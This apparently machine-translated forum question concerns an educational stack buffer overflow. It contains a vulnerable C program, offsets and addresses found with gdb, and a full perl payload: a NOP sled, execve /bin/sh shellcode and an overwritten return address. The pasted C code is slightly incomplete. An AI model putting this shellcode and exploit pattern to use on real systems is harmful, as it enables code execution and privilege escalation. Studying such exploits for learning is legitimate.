我想利用基于堆栈的缓冲区溢出来进行教育。有一个典型的函数调用了一个来自 main 的参数作为程序的输入和一个保存参数的本地缓冲区。给定一个输入,例如 nops+shellcode +address_shellcode 我将利用它。在使用 gdb 调试后,我找到了 shellcode 的地址,因为它将作为参数传递,并且在 strcpy 之后我检查堆栈并且返回地址 $ebp+8 已成功覆盖shellcode的地址。所以我有我想要的。但是当我向前执行时,我得到了:
->shellcode_address in ?? ()
接着
Cannot find bound of current function
返回地址具有我想要的值。任何想法发生了什么?此外,当我执行它时,我遇到了分段错误,我已经用 -g -fno-stack-protector 编译了它
这是代码:
void echo(char *s, unsigned int length, long int a, short b)
{
unsigned char len = (unsigned char) l;
char errormsg[] = "bla bla bla\n";
char buf[250] = "You typed: ";
strcat(buf+11, s);
fprintf(stdout, "%s\n", buf);
int main(int argc, char **argv)
{
gid_t r_gid, e_gid;
/* check arguments */
if (argc != 2) {
fprintf(stderr, "please provide one argument to echo\n");
return 1;
}
/* clear environment */
clearenv();
setenv ("PATH", "/bin:/usr/bin:/usr/local/bin", 1);
setenv ("IFS", " \t\n", 1);
/* temporarily drop privileges */
e_gid = getegid();
r_gid = getgid();
setregid(e_gid, r_gid);
/* call the echo service */
echo(argv[1], strlen(argv[1]), 0xbccb3423, 323);
return 0;
}
我在 gdb 中发现,如果您覆盖 309 个字节,那么您将使用输入的最后 4 个字节完全覆盖返回地址,这正是我们想要的。因此,由于 shell 代码的长度为 45 个字节,我们想要这样的东西: \x90 x 260 。“外壳代码”。4字节地址(260+45+4=309)
为了找到函数的第一个参数的地址,我运行了几次 gdb,输入了一个 309 字节长的字符串,地址始终相同:0x5ffff648
因此,如果我附加一个地址(相反的顺序,即:0xabcdefgh - > \xgh\xef\xcd\xab),该地址在参数指向的位置更高,处理器将进入 NOP 命令,直到它到达我结束的 shellcode有了这个:r perl -e 'print ("\x90" x 260 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x3e\xf8\xff\x5f")'